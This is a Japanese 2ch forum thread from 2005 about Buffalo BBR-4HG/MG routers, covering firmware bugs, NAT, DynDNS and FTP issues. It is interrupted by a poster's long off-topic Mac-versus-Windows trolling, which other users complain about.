588 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 19:41:14 ID:YxbPPOvj
>587

そりゃ、液晶パネルやHDやCPUなどど、例外にもれず
他社のパーツで作られていますよ。

しかし、パソコンだけでなく、OSから付属ソフトまで
自社でまかなってる会社はAppleだけであり、
製品の質と利益を高い次元で両立できる唯一の会社で
あることは間違いないことでうす。

589 :不明なデバイスさん:05/02/20 19:46:53 ID:J/7MIXna
>>583
今ある不具合っていうと何だろうか。
最終ファームがβなところだけかな?

590 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 19:47:58 ID:YxbPPOvj
Appleなら自社のハードで起こる不都合は
直ぐにアップデートを公開し改良できる環境にありますが、
Windowsは数年に1度しか行われないSPアップデートで
改良されるまで放置され続けるのも珍しくありません。

セキュリティー面のアップデートは頻繁でも、その他の
トラブルは放置される。

Apple以外のパソコンメーカー達は自分たちにはどうする事も
できない歯痒さに長年苦しめられて来たことでしょう。

591 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 19:50:24 ID:YxbPPOvj
数年に1度しか自己のOSの問題を修正しようとしない
怠慢さが、「それは仕様です」の名言を生んだ背景でしょう。

Macと比較して、Windowsがトラブリ易い原因も、
マイクロソフトの怠慢さが根源にあるのです。

592 :不明なデバイスさん:05/02/20 19:51:44 ID:2TR7lJbu
>>589
それくらいかと。
あ、でもβでサーバ立てると不具合が出るとか上にあったな。

593 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 19:56:38 ID:YxbPPOvj
一見ハードに原因があると思われるトラブルも、実はWindowsOS
そのもののトラブルが関係していて、Windowsを入れ直したら解決したと
言う事例は数多くあります。

不都合をルーターのせいにばかりしていないで、一度自分たちのOSを
疑ってみる方が、解決の近道だと思いますよ。

とにかく、マイクロソフトは会社も大きく、資金や人材も豊富なはずなのに、
常にApple以下の製品しか作れない三流会社なのですから・・・。┐(´ー`)┌

594 :不明なデバイスさん:05/02/20 20:05:36 ID:l1ue2sKX
>>589,592

ウチの環境ではβでIP変換がうまくいって無い様でした。
でも他に報告無いんだよね・・・

595 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 20:28:02 ID:YxbPPOvj
利益の面でマイクロソフトと事業を共にすることはあっても、
マイクロソフトを好きだと言う会社などほとんど居ないでしょうが、
Appleは多方面から尊敬され好かれている企業です。

この状態でもし、AppleがMacOSも他社へライセンス提供すれば、
MacOSのシェアはWindowsの存在を脅かすほど格段に上がるでしょうが、
自社のパソコンを自社のOSで動かすことによる、Apple独自のメリットは
薄くなってしまうでしょう。

一長一短でどちらが良いのか分かりませんが、マイクロソフトの悪影響から
パソコン社会全体が解放されるのならば、それも良いかも知れません。

国家間のしがらみがどの程度あるのか知りませんが、日本国内のパソコン
メーカーが団結してマイクロソフト以外のOSをスタンダードにするべく開発
して欲しいとは思います。

596 :不明なデバイスさん:05/02/20 20:43:56 ID:ASvjIeMf
macに帰依すれば、こんなハイセンスな商品名もクリエイトできます。
ttp://www.reudo.co.jp/macbar/macbar.html

597 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 20:49:43 ID:YxbPPOvj
私が何故これほどAppleを応援しているかと言えば、
粗悪なWindowsを使わないでいられるパソコン環境を
唯一提供できる会社だからです。

他のもWindows以外のOSは存在しますが、Macほどの
環境は得られるOSはないでしょう。

では、万が一にもAppleがMacOSを他社へライセンスする
可能性はあるのか?と言えば、可能性はあると見ています。

それは、iPod+iTunesの成功によりWindowsユーザーを含めた
商売に目を向け始め、遂には低価格なMac miniをも発売した現実
などを見ても、アップルの事業展開がMacユーザーを超えた物に
なりつつあることを示しています。

既にDOS/V環境で動作するMac OS Xは完成しているとの話も
あるように、いつでも進出できる環境は整えていると思われます。

後はMacOSをMacユーザー以外に解放することが、ビジネス上の
成功に繋がるかどうかの確信が持てるかどうかの違いだけでしょう。

今、アップルの認知度が格段に上がっており、それとは反対に
皆、マイクロソフトのOSにうんざりしています。

タイミングとしては非常によい流れになって来ていますが、
逆に考えれば、良い業績を続けているアップルにとって、何も
危険なチャレンジをする必要がないこともまた事実です。

598 :不明なデバイスさん:05/02/20 20:54:55 ID:2TR7lJbu
>>594
一応再現方法やら何やら報告しておいた方が良いよ。

599 :お団子ちゃん ◆DANGOpn1U2 :05/02/20 20:59:07 ID:YxbPPOvj
>596

USB接続用に改良されたまっくばーさん3の
登場まーだー? (・∀・ )っ/凵⌒☆チンチン

600 :不明なデバイスさん:05/02/20 21:23:06 ID:kRxTu3uy
アドレス変換テーブルの追加の追加で
WAN側HTTP(TCPポート:80)を選んで
LAN側任意のポートの欄に80って手で打ちこむと
表面上の設定は同じに見えたのに繋がらなかったけど、漏れだけ?

ちなみにHGで「1.11 Release 0003」での話

601 :不明なデバイスさん:05/02/20 21:36:39 ID:oVo4HKGo
>>600
1.11 β0003はダメっぽい。1.10で不具合ないならそっちを使うべし。

602 :不明なデバイスさん:05/02/20 22:17:29 ID:l1ue2sKX
>>600

あ、やっぱりだめ?
じゃファームの不具合決定ですな

603 :594:05/02/20 22:27:04 ID:l1ue2sKX
>>598

報告しておきました

604 :600:05/02/20 22:37:38 ID:kRxTu3uy
LAN側任意のポートの欄を空欄のまま設定完了すると正常に変換するみたいなんよ。
最初なかなかこれに気が付かなくて、繋がらないって。。

あとは、これといった不具合もなく稼動しとりますよ。

605 :不明なデバイスさん:05/02/20 22:58:23 ID:opniB5o3
>>603
乙です

606 :不明なデバイスさん:05/02/20 23:04:24 ID:JR8TqGWL
>>594
>ウチの環境ではβでIP変換がうまくいって無い様でした。
>でも他に報告無いんだよね・・・
一応前スレで俺も報告したんだが誰も反応無かったから
俺だけかと思ってた。
あとベータにすると一気に速度落ちるのは俺だけか?

607 :不明なデバイスさん:05/02/20 23:08:02 ID:opniB5o3
>あとベータにすると一気に速度落ちるのは俺だけか?
これは他の人も報告してたよ

608 :不明なデバイスさん:05/02/20 23:27:39 ID:SmftG6QW
今βファームからから1.10に戻してみた。
7M近く出ていたのが4〜5Mになってしまった・・・・
どうしてだ???

609 :不明なデバイスさん:05/02/20 23:55:12 ID:/1SoztQF
>>570
プレーンでカコイイテキスト表示が新聞のようなチラシのような文字に成り果ててる〜
フォント使いまくりって感じ、どれが画像でどれがテキストエリアなのか分かんねぇよ!
修飾情報が邪魔でウゼェ!マカーはこんなのをみてるのカー


ギャハハハハハハハハハハ
   ∧_∧   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ハライテーヨ     イキデキネーヨ
.  ( ´∀´) < なんだこいつ
.  ( つ ⊂ )  \_______   (´∀` ,,)、     ( _ ;) クククピピ
   .)  ) )   ○   ∧_∧      ,, へ,, へ⊂),     _(∨ ∨ )_
  (__)_) ⊂ ´⌒つ゚ ∀ ゚)つ    (_(__)_丿      し ̄ ̄し
           アヒャヒャヒャヒャヒャヒャヒャ

610 :不明なデバイスさん:05/02/21 00:10:11 ID:Aipg78Ar
えっ マジっスか・・・ さっき1.10に戻したのに・・・
めんどいのでこのまま様子見まつ。

611 :不明なデバイスさん:05/02/21 00:16:54 ID:ofqDRPyK
過去ログうp
ttp://rerere.zive.net/res/up/source/up1310.zip

612 :お団子ちゃん ◆DANGOpn1U2 :05/02/21 01:23:56 ID:clhZMvsh
>609

確かにMacの文字はグラフィクスで描いた物と
区別がつかないほど奇麗ですが、これは装飾情報も何もなく、
プレーンな状態の文字なのです。

もしWindowsでこれを実現したら、激重いOSになってしまうでしょうが、
Macではこんなに奇麗な文字表示を軽くやってのけるほど高性能な
OSなのです。┐(´ー`)┌


613 :お団子ちゃん ◆DANGOpn1U2 :05/02/21 01:26:22 ID:clhZMvsh
>609

もしかしてプレーンと言うより、Windowsの不揃いで
ギザギザの時代遅れな文字表示がカッコいいとでも?┐(´ー`)┌

614 :不明なデバイスさん:05/02/21 01:28:25 ID:ouJ0/ngw
すみません。
BBRに関係ない話は他でやるか
別にスレッド立てていただけませんか。
本当に迷惑しております。
よろしくお願いします。

615 :不明なデバイスさん:05/02/21 01:31:09 ID:wS2pQar8
Web更新時に細かいファイルを大量にUPやDLすることが多いのですが(ログファイル関連)
これを繰り返すとよくルータがフリーズするんですよねぇ。

ファームは1.10で普段は至極安定してるだけに残念です。

FFFTPだからって可能性も捨てきれないのですが、同じような症状出た人いますか?

616 :お団子ちゃん ◆DANGOpn1U2 :05/02/21 01:47:59 ID:clhZMvsh
Windowsでは決められたフォントサイズ以外の物を選択すると、
最悪な表示になってしまうでしょうが、Macの場合はどんな
フォントサイズを指定しても奇麗に表示できるのです。

もう何から何までもWindowsとはデキが違うのですから、
早く自ら愛用しているOSが如何に三流でポンコツOSなのか気が付いて下さいね┐(´ー`)┌

http://pukapuka.s1.x-beat.com/img-box/img20050221014551.png

617 :お団子ちゃん ◆DANGOpn1U2 :05/02/21 01:50:27 ID:clhZMvsh
やべっ、いつものクセで誤字脱字のオンパレードで
アップしてしまった。_| ̄|○

618 :不明なデバイスさん:05/02/21 10:33:26 ID:RvD0fJxj
>>615
俺はFFFTPで大量のファイルを転送したことないので
そのような症状は発生した事がないですね…

ルータのセッションテーブルがパンクしてるのかなぁ。
>>4によるとこのルータのセッション数は800個と、ちょっと少なめですよね。

他のFTPクライアントソフトに替えて様子を見てはどうでしょう?
あと、もしパッシブモードを使っているのならそれをやめてみるとか。

619 :不明なデバイスさん:05/02/21 11:09:55 ID:lX7XrtsA
>>615
>これを繰り返すとよくルータがフリーズするんですよねぇ。
接続できないとかじゃないかい?

wget使ってdjgpp(のセット)とかgnu-win32等を落とすとと反応無し
コマンド(port:21)は接続したままデータ(portはセッションなんで不定)が接続できないらしい

wget -N -r -l0 -nr -I /pub/pc/gnu-win32 -np ftp://ring.ocn.ad.jp/pub/pc/gnu-win32/
wget -N -r -l0 -nr -I /pub/djgpp -np ftp://ftp.i i j .ad.jp/pub/djgpp/

620 :不明なデバイスさん:05/02/21 12:35:53 ID:6TMqiVOO
なんか中身が伴わない嵐だな。
偽装マカーじゃねえのか、と疑うぐらい。

621 :不明なデバイスさん:05/02/21 13:27:43 ID:VCtoE+0s
今日のオナニーショーは終了しましたので、エサを与えないでください。

622 :不明なデバイスさん:05/02/21 16:05:07 ID:G8W7LEGU
ざnねn

623 :不明なデバイスさん:05/02/21 16:14:41 ID:n4eRaFoq
BBR使ってる人って以前はどんなルータ使ってたのかな?
どうして乗り換えたんですか?

ちなみに俺はBBR-4HGがはじめてのルータ

624 :不明なデバイスさん:05/02/21 16:50:30 ID:SRprt8h8
オナニーショーまだー?

625 :615:05/02/21 16:59:35 ID:wS2pQar8
>>619
そうです、突然接続が切れた状態になって接続不能になる状態です。

>>618 さんの書いているとおりどうもセッションテーブルがパンクしてる可能性が疑われるんですよね。

とりあえず、パッシブありなし関わらず止まるときは止まるので、ちょっと別のFTPクライアントで試してみますね。

626 :不明なデバイスさん:05/02/21 16:59:45 ID:MB6PEESN
CoregaのSWP-ProからHGに変えてみました。
Bフレで、HGに繋いだPCから個人HP開いているのですが。ルーターのDDNSの更
新が機能しません。

直接、dyndns.orgのHPから設定はできますし、Coregaルーターでは機能している
ので、るので、HGに入力するパラメーターは間違っていないと思いますが。10分く
らいでは更新されていませんでした。
この入力から、ルーターが実際の更新するまで、どれくらいかかるものなんでしょ
うか?。
また、そもそもルーターがdyndns.orgの更新を試みようとしたのか、何かの原因で
失敗しているのか、その辺を検証する方法はありませんか?。



627 :不明なデバイスさん:05/02/21 17:39:55 ID:Aipg78Ar
>623
俺はBBRに乗り換えたわけではないのです。
BBRはサポート&緊急時用で買いました。 ちなみにMG>HGしてます。

経歴的には、NTTのINSルータ3台>PLANEX BRL-04FM>PLANEX BRC-14V

みたいな感じです。 途中に遊びでcoregaのBAR Proシリーズを買ったかな。

見た感じ不安定なルータが多いですね。 設定しだいで何とかなるのが楽しいです。

>624
オナニーショー期待スナ!

628 :不明なデバイスさん:05/02/21 18:03:34 ID:Yw3iqkSp
>>623
ノートPCにPCカードのNICを2枚挿して、Linux入れてゲートウェイにしてました。
自由度は高いんだけど、いかんせんスペックがPentium120MHzという時代物なので、
IPmasquaradeの負荷も高くて。うちはADSLで1.2Mくらいしか出ないんでぎりぎりかな。

ノートPCはもう10年選手でガタが来てたので、ゲートウェイ用途引退でBBルータ導入。
BBRは安くて割と速度が出て、且つMG→HG化して遊べるということだったんで買いました。


>>625
セッション数800ってのは公式の数字が見当たらないんですよね。どこかに書いてあるの
かな。とりあえずセッション切断してもタイムアウト分はしばらく残りますよね。それも含めて
800なのかなあ。


>>604
うちもアドレス変換でLAN側マシンのポート指定するとルータが固まったことあります。
WANとはポート番号変えて設定したんですが、結局BBRをリセットしないと直らなかったです。
ファームは1.10。報告は一応してありますが。

629 :626:05/02/21 18:11:34 ID:MB6PEESN
626です。
さらに1時間でも、DDNSは更新されません。普通は、リンクが確立したときに更新しに行
きそうなもんですが。

なんか根本的に勘違いしているかな?。

DDNSを「使用する」
DNSサーバー「www.DynDNS.org」(www.dyndns.orgとしても、大文字交じりになってしまう)。
DNSホスト名 dyndnsに登録した*****.dyndns.orgの*****の部分ですよね。
ユーザー名 dyndns.orgでのログイン時のID
パスワード dyndns.orgでのログイン時のパスワード

でいいですよね?

630 :不明なデバイスさん:05/02/21 19:22:10 ID:Mle5KV0x
>>629
否。
ホスト名は*****.dyndns.orgで。

631 :不明なデバイスさん:05/02/21 20:15:19 ID:Ju8VhEzz
昨年のMD5ダメ宣告に続いて、ついにというかもうというか、SHA1にもダメ宣告が
出たそうですが、そういうのはBBルータには特に影響ないのでしょうか?
あるのでしたら、メーカー様、対策ヨロシクお願いします。


632 :不明なデバイスさん:05/02/21 20:19:47 ID:WGVO+Lkr
なんかマカ厨以外にも変なのが一匹住み着いてるようですね

633 :不明なデバイスさん:05/02/21 21:40:03 ID:+V2j8bq+
>630
ありがトー。やっぱ勘違いしてました。恥ずかしい…。



634 :お団子ちゃん ◆DANGOpn1U2 :05/02/21 21:57:02 ID:clhZMvsh
このルーターでトラブルに遭遇している人を多くみかけますが、
他の人にも同じトラブルが発生しているわけでないのなら、
トラブルの根源がOS側にある可能性も高いでしょう。

その際に一番手っ取り早いのはOSを再インストールしてパソコンを
クリーンな状態に戻して様子を見ることですが、こんな場面でもやはり
ポンコツWindowsは不便極まりない仕様であり、Macの柔軟性に優れた
使い勝手より二歩も三歩も劣っています。

具体的に説明すると、OS側のトラブルを疑ってクリーンな状態で様子を
見たい場合でも、Windowsの場合はDドライブや外部のハードディスクに
OSを新インストールして立ち上げることが出来ないため、安易には出来ません。

しかしMacの場合、今のOS環境はそのままで、内蔵のサブドライブに
新規にOSをインストールしたり、外部のドライブにインストールして
どちらからでも簡単に起動することができるので、簡単にクリーンな
OS環境で試してみることが出来るのです。┐(´ー`)┌

もちろんOSの再インストールに伴う時間も15分程度で完了する上、
Windowsの様にインストール中、何度も再起動を繰り返すと言った
ポンコツインストールではありません。

おまけにMacOSは環境を丸ごとバックアップして保存することも可能な上、
万が一の場合にはそちら側から起動することもできる柔軟性があるのです。

以前話したようにMacにはトラブルを未然に防ぐ機能が豊富に備わって
いるだけでなく、このように万が一の場合にもスムーズに対処出来る環境さえも
備わっているのです。

Macが何故セキュアでWindowsは緊急レベルのセキュリティーが多発し
続けるのか、それはこのような一面でも見て取れると思います。


635 :お団子ちゃん ◆DANGOpn1U2 :05/02/21 22:04:33 ID:clhZMvsh
ま、血液型に例えるならWindowsはいい加減で自己中な
B型&AB型タイプのOSで、Macは堅実で誠実なA型&O型タイプと
言ったところでしょう。┐(´ー`)┌

636 :お団子ちゃん ◆DANGOpn1U2 :05/02/21 22:21:49 ID:clhZMvsh
ドザでも知っている人も多いでしょうが、Appleの最高経営責任者である
スティーブジョブズは給与も年間たったの1ドルしか貰っていません。

もちろん貰おうと思えば多額の給与も頂けるでしょうが、自らをAppleの業績が
良くならなければ自分の利益も出ない厳しい環境に置くことで、Appleと
自分は常に一心同体であると言う意思表示であると共に、自己への戒めでも
あるのです。

そのことはすなわち、お金の為だけにMacを開発しているわけではなく、
良い製品を世に作り残すことを第一に考えている証でもあるのです。

なぜAppleはこれほどまでにパソコン社会をリードする製品ばかり作れるのか、
そしてなぜWidnowsは粗悪なのか、その答えはこんな所にも見て取れるのです。

637 :不明なデバイスさん:05/02/21 22:34:39 ID:NC9R3WnP
そもそもUNIX系とWindows系は作りも出来も全く違う
そんなMacOSがPC/AT互換機で動作して、他社へ
ライセンス販売して、先ずはx86アーキテクチャでも
動作するようになってから、話はそれからだ気違い
マカー

638 :不明なデバイスさん:05/02/21 22:42:05 ID:Aipg78Ar
オナニーショーに燃料投下スナ!

639 :不明なデバイスさん:05/02/21 22:45:55 ID:rBxVuZwH
NGワードって便利。スレが一気に読みやすくなった。


640 :不明なデバイスさん:05/02/21 22:48:05 ID:89YbkChs
だんだんとお団子のことが好きになってきましたよw

641 :不明なデバイスさん:05/02/21 22:48:12 ID:s4iRlf1j
>>623
漏れはACCAのレンタルモデム、FLASHWAVE M1から光になったので4MGに乗り換え。
>>628
M1はルータ機能もあり(LANポートは一個)、セッション数も4096あって安定もしてました。
セッションタイマという項目があってTCP・UDP別に設定できてたので、
4MG/HGもこういうとこ弄れたら800といわれるセッション数でも少しは耐えられるかも。

642 :お団子ちゃん ◆DANGOpn1U2 :05/02/21 22:49:24 ID:clhZMvsh
モトローラーがもたもたしていたので、最悪の場合乗り換えられるよう
インテルチップで動作するMacOSも開発していたそうですが、
インテルなんて糞チップのMacが誕生する自体にならなくてほんと
良かった・・・。┐(´ー`;)┌

以前、いずれMacに搭載されるであろう、Sony、東芝、IBM共同開発の
スーパープロセッサー(Cell)が切っ掛けとなり、もしかしてソニーなど
にもMacOSがライセンスされるのでは?なんて話も出ていた気がするけど、
ソニーと深く拘るのは止めた方がいいよね。┐(´ー`)┌


643 :お団子ちゃん ◆DANGOpn1U2 :05/02/21 22:53:58 ID:clhZMvsh
こんなに為になるレスを沢山書いてるお団子ちゃんのレスを
わざわざあぼーんしてる人がいるなんて勿体ないよね。┐(´ー`)┌

644 :お団子ちゃん ◆DANGOpn1U2 :05/02/21 23:47:16 ID:clhZMvsh
本や新聞などは常に奇麗な文字で読んでいるのに、
何故ドザ達はこんなに汚いフォントでネットや2chを
平気でやっていられるのですか?

もしWindowsのような汚い表示の本や新聞になってしまったら、
嫌だとは思いませんか?

Macはもう何年も前からパソコン上でも奇麗な表示が可能を実現している
ことを考えれば、如何にMac以外のOSが時代遅れな仕様なのか分かると思います。

Macの表示例
http://pukapuka.s1.x-beat.com/img-box/img20050220160317.png
http://pukapuka.s1.x-beat.com/img-box/img20050221014551.png

Windowsの表示例
http://pukapuka.s1.x-beat.com/img-box/img20050220160406.png

645 :お団子ちゃん ◆DANGOpn1U2 :05/02/21 23:49:45 ID:clhZMvsh
以前ここで、所詮MacなどUNIXに皮だけ作り変えただけのOSと
たわけたことを言っている人もいましたが、Macはそんな低い次元で
作られた物ではなく、骨はUNIX系でも肉も皮も全く別の物で、
それら全てが上手く癒合できているからこそ、他のOSでは体験できない
すばらしいOSに仕上がっているのです。┐(´ー`)┌

646 :お団子ちゃん ◆DANGOpn1U2 :05/02/21 23:56:04 ID:clhZMvsh
Windows95が登場した当時から、Windowsのフォントは
あまりにもバランスがデタラメで最悪だと言われて来ましたが、
10年が経ち、何度もメジャーアップデートされWindow XPに
なった現在ですら、その最悪なフォントは健在です。

改良する金も時間もあったはずなのに、ずーと放置を続けて来た
マイクロソフトの怠慢さを見れば、WindowsOSが良いデキで
あろうはずはないことなど、察することが出来ると言うものです。┐(´ー`)┌

647 :不明なデバイスさん:05/02/21 23:57:34 ID:05Z8z+h6
はぁ

648 :626:05/02/21 23:58:53 ID:goovWkjZ
再度はじかきです。

HP/FTPサーバーを自宅で開いていて、ルーターをCoregaのSWP-ProからHGに変え
てみたわけですが。今度は、FTPサーバーが機能しません。
ポート80/20-21のアドレス変換登録はしまして。HTTPでは問題はないのですが。
FTPサーバーには、Win2000SP4でWARFTP使っていますが。ソフト側で、ログインと
「PASV」コマンドの受信までは届いていることを確認できるのですが、その後が無反
応になります(ポート21は通るけど20はだめ?)。

試しに、coregaに戻したところ、こちらでも問題なく動作しています(設定も自分がやって
いるので、差は無いはずですが・・)。
HGのときに、LAN間でのFTPは問題ないので。ルーターのところで問題があるのは間違
いないのではと思いますが。ポートを開ける以外に見逃していることはないでしょうか?。


649 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 00:08:46 ID:wscumhUk
>946つづき・・・

一方、MacOSは登場当時からバランスととれたデフォルトの
Osakaフォントは評判が良く、Windowsユーザーもこの優れた
フォントをWindowsで利用している人も少なくありませ。

MacOSもMac OS Xと大きく進化をとげ、プロ用のヒラギノフォントを
標準搭載した上に、まるでグラフィックスで描いたような表示を実現する
までに至りました。

http://www.screen.co.jp/ga_product/sento/products/otf_basic6.html

フォントと言えば、パソコンで一番良く目にする物なのです。
その重要なフォントを、半角カタカナなのか全角カタカナなのかも
区別しづらい上、頭のラインも揃わないような粗悪なフォントを搭載し続けて
いるのは何故でしょう?

そこに、Windowsが何故これほどまでに重大なセキュリティーバグが多発
するのか本質を感じ取ることが出来るのではないでしょうか?

650 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 00:28:19 ID:wscumhUk
MacOSが見る者に配慮しているのは、フォントだけの留まりません。
MacOSではこのアイコンさえも、Windowsを遥かに超えた美しく
認識し易い仕様になっているのです。

http://pukapuka.s1.x-beat.com/img-box/img20050222001845.png

このように使う者への配慮が数多くちりばめられているからこそ、
Windowsでは実現できない、簡単でスムーズな使い易さに繋がっいるのです。

651 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 00:35:55 ID:wscumhUk
Windowsしか知らない人は勘違いする人もいそうなので
一応言っておきますが、これは実物大のアイコンであり、
画像を拡大表示した物では有りませんよ。↑

Macはフォントだけでなく、アイコンまでもがスケーラブルで
極小アイコン〜特大アイコンまで任意のサイズで表示可能なのです。

652 :不明なデバイスさん:05/02/22 00:52:11 ID:vqRk/CYu
俺、Mac使って気に入ってるけど、別にOSって手段であって目的じゃないよね。
なんかすごくしょーもない。もっと面白いネタないの?
まあ、このルータ買ってから何の問題も起きて無いから書き込むネタもないけどね。

653 :あぼ〜ん:05/02/22 00:53:26 ID:s8HC/3Mc
あぼ〜んw

654 :不明なデバイスさん:05/02/22 00:57:26 ID:HWGf9Be3
ま 手段自体が目的と化してるのも極々少数いるんだろ
ほっとけほっとけ 弄ると移るぞw

655 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 01:03:56 ID:wscumhUk
>651

そのセリフたまに耳にするけど、そこにたどり着くまでの手段って
とっても重要なんだよね。

正直そんな事もまだ理解できていないような青い人なんですか?

一例を上げるなら、あなたのように目的だけを終点に考えるなら
ドライブなんて車でもオートバイでも、自転車で行っても同じこと・・・
になりますか?

車に乗るならドイツの高級車でも営業用のカローラバンでも同じこと・・・
になりますか?

そしてあなたは目的の地点が同じなら手段はどうでもいい?
と本当に思えることができますか?

656 :不明なデバイスさん:05/02/22 01:09:02 ID:lvdthDGC
>>634
いつの時代の話をしてるんだ?
おまいの頭は95から停止したままか?
普通にDドライブにインストールできまつが。

657 :不明なデバイスさん:05/02/22 01:11:35 ID:vqRk/CYu
>655
そこにその時間内に行くのが目的なら手段はどうでもいいと思う。
青い人には理解できないだろうけど。
たとえ回り道でも趣味を反映させたい大人な人なら拘ればいいんじゃないの?


658 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 01:15:56 ID:wscumhUk
>657

パソコンはソフトだけを使っていれば済む只の入れ物では有りません。
OSの機能に触れずソフト本来の機能だけで事が済むことなどないのです。

例えばWebサイトで文章を読むこと1つとっても、奇麗な文字で読むのと
行間がつまり過ぎたイビツで汚い文字で読むのとでは同じことでは
ないと言えますが?

文章は読めればいい・・・。
寒さをしのげれば服なんて何だっていい・・・。
住めれば家なんて奇麗だろうが汚かろうが同じ・・・。
SEXできればブスでも美人でも同じこと・・・。

君たちはきっとこんな人たちなのでしょうね。┐(´ー`)┌

659 :不明なデバイスさん:05/02/22 01:26:16 ID:vqRk/CYu
>658
仕事に使う道具ならそれで良いよ。
パソコンなんかそんな程度のものじゃないの?
それともパソコンってそこまで趣味性の高いものなのかな?

660 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 01:27:26 ID:wscumhUk
昔ながらのベージュで格好の悪いパソコンは減少し、
デザインの優れたパソコンを買い求める人が増えたのも、
目的を達成するまでの手段が重用視されている証なのです。

ソフトを動かすし作業をすることが目的でパソコンを買うのに、
なぜデザインを気にするのですか?

ソフトが動けば皆同じ・・・。

本心からそう思える人など居ないのですよ。┐(´ー`)┌

661 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 01:31:13 ID:wscumhUk
ま、パソコン本体のデザインを気にするように、
OSの見栄えを気にするのも当然なこと。

ましてやデザイン的な要素とは違い、OSの違いは
様々なところへ影響し、作業そのものの効率までも
影響してくるのだから、何でもいいなんて言ってる人は
所詮その程度の使い方しかしていない証でしょうね。┐(´ー`)┌


662 :不明なデバイスさん:05/02/22 01:36:12 ID:ctBA2d7N
あぁ〜あ燃料投下しちゃったよ・・・
また無駄にレス番が飛びまくるな・・・

663 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 01:40:04 ID:wscumhUk
車だって40キロ程度で走っているだけなら、少々粗悪な車でも
問題になりにくいでしょうが、100キロ200キロで走るとなれば、
悪影響が大きくなるなるのが分かるでしょ?

目的しか気にならない人、アラが目に入らない人。
それは日頃40キロでしか走っていない人なのですよ。┐(´ー`)┌

664 :不明なデバイスさん:05/02/22 01:41:35 ID:vqRk/CYu
>661
っで、どんな違いがあるんだろ?
鋏と包丁じゃ仕事のレベルに差があるのは判るけど、
A社の包丁とB社の包丁でどこまで仕事の結果に差があるんだろう?
OS違ってもどうせ同じアプリ使ってるんだし。
もちろんMacの見た目は好きだよ。でもそれと仕事の効率は別。

665 :不明なデバイスさん:05/02/22 01:46:08 ID:vqRk/CYu
>663
200キロで走っている人ですか?事故には気をつけてね!
100キロで走るんなら日本車ならどれ買っても無問題ですよね?
別にMacだからBBR-4HG/MGのスループットが速くなる訳でもないし。

666 :不明なデバイスさん:05/02/22 01:47:04 ID:yz9Mu+b6
俺結構お団子ちゃん好きだな。
ただ、スレ違い大量書き込みはまずいなあと思うけど。

お団子ちゃんはいつから何をきっかけにかくなりきや?
何がお団子ちゃんをこうしたのか?何があったんだ?
お団子ちゃん誕生の秘密は?
と気になる。


667 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 01:47:21 ID:wscumhUk
例えば、タイピングが遅い人は、IMの変換効率などは
問題にならないでしょうが、早いタイプが出来る人だと、
そこも気にかかる重要な要素となるでしょう。

通勤で車に乗るだけの人なら車など動けばイイと思えても、
ナンパや彼女とドライブに行くとなれば、同じ台詞は言わないでしょう?
結局、程度の低いことを言い出す人は、今まで程度の低い製品で事足りてる
ような生活をずーと送り続けて来たのでしょう。

だから何使っても同じにしか感じ取れないわけなのですよ。┐(´ー`)┌


668 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 01:49:25 ID:wscumhUk
あおいちゃんはHも大好きなんだって〜。┐(´ー`)┌

お初でございまぁす☆いきなりメールしてごめんなさい!あおいって言います。
最近大学の情報処理の授業で少しパソコンを覚えました♪
それでパソコンとか教えてくれる人探してたら…。
近い人発見しましたっ!ちょ〜っと前の書きこみだったけど、間に合うかな?
良かったら逢える場所を教えてください!
車持ってるのでどこでも行きますよ〜返事くれたら写メとか送りたいな☆
もし迷惑じゃなかったらお返事ください!楽しみに待ってます☆
あ、あとお料理が好きなので、好きな食べ物とか教えてほしいです。
あ、本当はHも大好きっ!お返事待ってま〜す♪
あおいでしたっっ!!

あおい<aoi_cake_o@yahoo.co.jp>

669 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 01:53:31 ID:wscumhUk
>666

このスレに限って言えば、Macユーザーは出て行け!と
何度か目にしたことが誕生の切っ掛けになりました。(ノ´∀`*)

670 :不明なデバイスさん:05/02/22 01:58:16 ID:vqRk/CYu
>667
え!!!!!
お団子ちゃん、ナンパや彼女とドライブなんかするの?すげ〜え
家にはかわいい奥さんがいるんで間に合ってますが。
でも仕方なく乗ったレンタカーでも同乗者に文句言われない運転は出来ますね。


671 :不明なデバイスさん:05/02/22 02:06:08 ID:ctBA2d7N
>661
>ま、パソコン本体のデザインを気にするように、
>OSの見栄えを気にするのも当然なこと。

普通に電気屋で売ってるありきたりのMacには飽きましたので、
Macを自作したいのですが。 どこにパーツ売っていますか?
メモリはDDR2で行きたいのですが対応チップセットはどこがありますか?
ついでですが、n社の最新なSLI対応高速ビデオカードと、
鯖業界で定評のあるインテルか3COMのNICあたりも積みたいです。



672 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 02:06:57 ID:wscumhUk
>670

本日のオナニーショーは既に終了しました_〆(・∀・)

673 :不明なデバイスさん:05/02/22 11:21:11 ID:tDAOvTtj
そろそろアク菌通報するか。

674 :不明なデバイスさん:05/02/22 11:43:10 ID:pMb+zdmc
板違いだからマカーは、こちらへドゾー

http://pc7.2ch.net/mac/
http://pc5.2ch.net/jobs/

675 :不明なデバイスさん:05/02/22 11:51:02 ID:RC1BKs5s
>>673
よろしく

676 :不明なデバイスさん:05/02/22 12:30:42 ID:Xw3zk1Fj
>>656
少し違うと思われる

Windowsだと必ずCドライブに起動ファイル(Win9xだとio.sys, ms-dos.sys)を置く
DドライブにインストールしたとしてもDドライブから起動なんて事は不可能 (PC-98x1だけは可能)

BIOSでIDE, SCSIの優先順位を変える事でMAC・PC-98x1と似たようなことは可能だが
今更SCSI入れてるやつなんていない



>>673 >675
アク禁は受け付けてません by FOX★

677 :不明なデバイスさん:05/02/22 12:33:29 ID:yk7AMq8s
お団子ちゃんVSちゃんばば
夢の競演を激しく希望!!

